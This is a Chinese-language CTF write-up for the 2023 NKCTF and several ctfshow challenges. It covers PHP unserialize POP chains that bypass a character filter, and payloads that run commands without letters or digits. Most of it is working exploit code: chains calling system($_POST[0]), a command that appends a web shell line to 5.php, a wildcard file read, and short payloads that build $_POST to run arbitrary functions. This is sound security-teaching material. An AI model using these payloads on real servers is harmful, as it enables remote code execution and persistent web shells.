2023 NKCTF

Posted kkkkl

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了2023 NKCTF相关的知识,希望对你有一定的参考价值。

2023 NKCTF

打了一下 NKCTF 有几个不知道的点 把自己认为值得记录的题写一下

babyphp

<?php
    error_reporting(0);
    class Welcome
        public $name;
        public $arg = \'oww!man!!\';
        public function __construct()
            $this->name = \'ItS SO CREAZY\';
        
        public function __destruct()
            if($this->name == \'welcome_to_NKCTF\')
                echo $this->arg;
            
        
    

    function waf($string)
        if(preg_match(\'/f|l|a|g|\\*|\\?/i\', $string))
            die("you are bad");
        
    
    class Happy
        public $shell;
        public $cmd;
        public function __invoke()
            $shell = $this->shell;
            $cmd = $this->cmd;
            waf($cmd);
            eval($shell($cmd));
        
    
    class Hell0
        public $func;
        public function __toString()
            $function = $this->func;
            $function();
        
    

    if(isset($_GET[\'p\']))
        unserialize($_GET[\'p\']);
    else
        highlight_file(__FILE__);
    
?>

这里过滤了 f l a g ? *

解法一

这几个字符 这里我们可以直接 把 $shell 赋值为 urldecode 然后 把 $cmd 赋值为 system($_POST[0]);

<?php
error_reporting(0);
class Welcome
    public $name;
    public $arg = \'oww!man!!\';
    public function __construct()
        $this->name = \'ItS SO CREAZY\';
    
    public function __destruct()
        if($this->name == \'welcome_to_NKCTF\')
            echo $this->arg;
        
    


function waf($string)
    if(preg_match(\'/f|l|a|g|\\*|\\?/i\', $string))
        die("you are bad");
    

class Happy
    public $shell;
    public $cmd;
    public function __invoke()
//        phpinfo();
        $shell = $this->shell;
        $cmd = $this->cmd;
        waf($cmd);
        eval($shell($cmd));
    

class Hell0
    public $func;
    public function __toString()
//        phpinfo();
        $function = $this->func;
        $function();
    


$Welcome=new Welcome();
$Welcome->name=\'welcome_to_NKCTF\';
$Hell0=new Hell0();
$Happy=new Happy();
$Happy->shell="urldecode";
$Happy->cmd="system(\\$_POST[0]);";
$Hell0->func=$Happy;
$Welcome->arg=$Hell0;

echo serialize($Welcome);
//unserialize(\'O:7:"Welcome":2:s:4:"name";s:16:"welcome_to_NKCTF";s:3:"arg";O:5:"Hell0":1:s:4:"func";N;\');

解法二

还有一种方法是

$Happy->shell="system";
$Happy->cmd="cd /;`more dir`";

解法三

使用 sed 命令 sed 有个新增命令 sed -e 4a\\xxxxxx xxxxx为要新增的内容 4a 是要在第四行 进行插入

但是 4a这里是由a的 所以不可以 但是可以用

sed -n \'1,38p\' index.php > 5.php 然后这里再用 追加写入 >> 来写 system($_POST[0]);

<?php
error_reporting(0);
class Welcome
    public $name;
    public $arg = \'oww!man!!\';
    public function __construct()
        $this->name = \'ItS SO CREAZY\';
    
    public function __destruct()
        if($this->name == \'welcome_to_NKCTF\')
            echo $this->arg;
        
    


function waf($string)
    if(preg_match(\'/f|l|a|g|\\*|\\?/i\', $string))
        die("you are bad");
    

class Happy
    public $shell;
    public $cmd;
    public function __invoke()
//        phpinfo();
        $shell = $this->shell;
        $cmd = $this->cmd;
        waf($cmd);
        eval($shell($cmd));
    

class Hell0
    public $func;
    public function __toString()
//        phpinfo();
        $function = $this->func;
        $function();
    


$Welcome=new Welcome();
$Welcome->name=\'welcome_to_NKCTF\';
$Hell0=new Hell0();
$Happy=new Happy();
$Happy->shell="system";
//$Happy->cmd="sed -n \'1,38p\' index.php > 5.php";
$Happy->cmd="echo \'system(\\$_POST[0]);\' >> 5.php";
$Hell0->func=$Happy;
$Welcome->arg=$Hell0;

echo serialize($Welcome);
//unserialize(\'O:7:"Welcome":2:s:4:"name";s:16:"welcome_to_NKCTF";s:3:"arg";O:5:"Hell0":1:s:4:"func";N;\');

解法四

这种解法是在p牛的文章里面提到过

linux 中的 通配符不止只有 * 和 ?还有一种类似于正则的通配符 [!q] 这里代表匹配非q字符

<?php
error_reporting(0);
class Welcome
    public $name;
    public $arg = \'oww!man!!\';
    public function __construct()
        $this->name = \'ItS SO CREAZY\';
    
    public function __destruct()
        if($this->name == \'welcome_to_NKCTF\')
            echo $this->arg;
        
    


function waf($string)
    if(preg_match(\'/f|l|a|g|\\*|\\?/i\', $string))
        die("you are bad");
    

class Happy
    public $shell;
    public $cmd;
    public function __invoke()
//        phpinfo();
        $shell = $this->shell;
        $cmd = $this->cmd;
        waf($cmd);
        eval($shell($cmd));
    

class Hell0
    public $func;
    public function __toString()
//        phpinfo();
        $function = $this->func;
        $function();
    


$Welcome=new Welcome();
$Welcome->name=\'welcome_to_NKCTF\';
$Hell0=new Hell0();
$Happy=new Happy();
$Happy->shell="system";
//$Happy->cmd="sed -n \'1,38p\' index.php > 5.php";
$Happy->cmd="more /[!q][!q][!q][!q]";
$Hell0->func=$Happy;
$Welcome->arg=$Hell0;

echo serialize($Welcome);
//unserialize(\'O:7:"Welcome":2:s:4:"name";s:16:"welcome_to_NKCTF";s:3:"arg";O:5:"Hell0":1:s:4:"func";N;\');

hardphp

<?php
// not only ++
error_reporting(0);
highlight_file(__FILE__);

if (isset($_POST[\'NKCTF\'])) 
    $NK = $_POST[\'NKCTF\'];
    if (is_string($NK)) 
        if (!preg_match("/[a-zA-Z0-9@#%^&*:\\-<\\?>\\"|`~\\\\\\\\]/",$NK) && strlen($NK) < 105)
            eval($NK);
        else
            echo("hacker!!!");
        
    else
        phpinfo();
    

?>

经典的 无数字字母 rce

通过 ctfshow 的rce大挑战来总结一下

rce1

<?php
 
error_reporting(0);
highlight_file(__FILE__);
 
$code = $_POST[\'code\'];
 
$code = str_replace("(","括号",$code);
 
$code = str_replace(".","点",$code);
 
eval($code);
 
?>

这里把 ( . 过滤掉了 然后 可以用php中的反引号来执行系统命令

这里要先闭合 之前的php标签 在使用 php短标签 当然也可以使用echo dir;

rce2

<?php
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。
error_reporting(0);
highlight_file(__FILE__);

if (isset($_POST[\'ctf_show\'])) 
    $ctfshow = $_POST[\'ctf_show\'];
    if (is_string($ctfshow)) 
        if (!preg_match("/[a-zA-Z0-9@#%^&*:\\-<\\?>\\"|`~\\\\\\\\]/",$ctfshow))
            eval($ctfshow);
        else
            echo("Are you hacking me AGAIN?");
        
    else
        phpinfo();
    

?>

就跟我们平常使用的paylaod

<?php
$_=[].[];
$_=$_[\'\'];
$_++;
$_++;
$_++;
$_++;
$__=$_;
$_++;
$_++;
$__=$_.$__;
$_++;
$_++;
$_++;
$_++;
$_++;
$_++;
$_++;
$_++;
$_++;
$_++;
$_++;
$_++;
$_++;
$__=$__.$_;
$\'_\'.$__[_]($\'_\'.$__[__]);

构造出GET 然后拼接 $ 和 _ 得到 $GET(_)($GET[__]); 用到不同的是 它禁用了

所有我们就不能通过这种 $ _ GET 拼接的方式了 这里不使用 的话还用 另一种拼接方式

_GET 然后再前面直接加$ 就可以得到$GET 然后拼接[_]

然后用 () 包裹住 实例

($$___[_])($$___[__]);

完整的poc

<?php
$_=[].[];$__=\'\';
$_=$_[\'\'];
$_=++$_;
$_=++$_;
$_=++$_;
$_=++$_;
$__.=$_;
$_=++$_;
$_=++$_;
$__=$_.$__;
$_=++$_;
$_=++$_;
$_=++$_;
$_=++$_;
$_=++$_;
$_=++$_;
$_=++$_;
$_=++$_;
$_=++$_;
$_=++$_;
$_=++$_;
$_=++$_;
$_=++$_;
$__.=$_;
$___=\'_\';
$___.=$__;
($$___[_])($$___[__]);

总结一下 如果没有 的话就可以 先 拼接出_GET 然后直接加$ 就可以了 要 url编码传过去

rce3

<?php
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。
error_reporting(0);
highlight_file(__FILE__);
 
if (isset($_POST[\'ctf_show\'])) 
    $ctfshow = $_POST[\'ctf_show\'];
    if (is_string($ctfshow) && strlen($ctfshow) <= 105) 
        if (!preg_match("/[a-zA-Z2-9!\'@#%^&*:\\-<\\?>\\"|`~\\\\\\\\]/",$ctfshow))
            eval($ctfshow);
        else
            echo("Are you hacking me AGAIN?");
        
    else
        phpinfo();
    

?>

这次加了 长度限制 然后又 过滤了 更多的字符

$ ( ) + , . / 0 1 ; = [ ] _  

过滤了 引号 那如何 获取 A 字符呢 但是这里我们可以使用 01 了

这里可以使用 0 和1 先 看几个知识点

php在进行计算的时候 认为结果是无限大的时候他会返回结果是INF (infinite)

举例 echo (1/0) 就会输出INF

PHP进行计算的时候认为一个数超出Infinite,那就是: NAN( not-a-number)
这里举个例:echo (a/a); 就会输出NAN

因为这里有允许我们使用01 所以我们可以使用 01 来取上面的东西

这里直接取的话 会返回空 这里可以拼接一个 A就可以 取出来了

取出N的话就可以直接用POST来执行了

<?php
$_=([].[])[0];
$_=($_/$_)[0];
$_=($_/$_.$_)[0];
$_++;
$__=$_.$_++;
$_++;
$_++;
$_++;
$_=_.$__.$_.++$_;
$$_[_]($$_[1]);
<?php
$_=([].[])[0];$_=($_/$_.$_)[0];$_++;$__=$_.$_++;$_++;$_++;$_++;$_=_.$__.$_.++$_;$$_[_]($$_[1]);

rce4

<?php
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。
error_reporting(0);
highlight_file(__FILE__);
 
if (isset($_POST[\'ctf_show\'])) 
    $ctfshow = $_POST[\'ctf_show\'];
    if (is_string($ctfshow) && strlen($ctfshow) <= 84) 
        if (!preg_match("/[a-zA-Z1-9!\'@#%^&*:\\-<\\?>\\"|`~\\\\\\\\]/",$ctfshow))
            eval($ctfshow);
        else
            echo("Are you hacking me AGAIN?");
        
    else
        phpinfo();
    

?>

先看过滤

$ ( ) + , . / 0 ; = [ ] _

并且限制了 84个字符

<?php
$_=((0/0).[])[0];
$_++; //O
$__=$_.$_++; // $__=PO, 其实这里才是第五题的关键嘿嘿,很多74的就是卡在这
$_++; // Q
$_++; // R
$_++; // S
$$_[_]($$_[0]); // $_POST[_]($_POST[0]);

rce5


 <?php
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。
error_reporting(0);
highlight_file(__FILE__);
 
if (isset($_POST[\'ctf_show\'])) 
    $ctfshow = $_POST[\'ctf_show\'];
    if (is_string($ctfshow) && strlen($ctfshow) <= 73) 
        if (!preg_match("/[a-zA-Z0-9!\'@#%^&*:\\-<\\?>\\"|`~\\\\\\\\]/",$ctfshow))
            eval($ctfshow);
        else
            echo("Are you hacking me AGAIN?");
        
    else
        phpinfo();
    

?>
   $ ( ) + , . / ; = [ ] _ 

限制 73位

这里就用了一些特殊字符了 因为用 __ 会 多几个字符 这里可以使用 不可见字符

$_=(_/_._)[_];$_%2B%2B;$%FA=$_.$_%2B%2B;$_%2B%2B;$_%2B%2B;$_=_.$%FA.%2B%2B$_.%2B%2B$_;$$_[_]($$_[%FA]);&_=system&%FA=whoami
<?php
$_=(_/_._)[_];
$_++;
$%FA=$_.$_++; //这里为PO
$_++;$_++;
$_=_.$%FA.++$_.++$_;
$$_[_]($$_[%FA]);
这个已经完全看不懂了
<?PHP
$_=_(%FA.%FA)[_];//N  //本地使用就用(_._._)[_],或者安装了一个扩展gettext
$%FA=++$_;//O
$$%FA[$%FA=_.++$_.$%FA[$_++/$_++].++$_.++$_]($$%FA[_]); //$_POST[_POST]($_POST[_])
//将拼接放到同一行,真的太厉害了,我只能感叹一句nb

以上是关于2023 NKCTF的主要内容,如果未能解决你的问题,请参考以下文章

NKCTF 2023-misc全解(有脚本,有详解)

NKCTF 2023 Writeup By AheadSec

2023年1月放假日历表

2023年节日调休日历表

2023年亚太应用数学与统计学国际会议 (AMS 2023)

2023年智能无人系统与人工智能国际会议(SIUSAI 2023)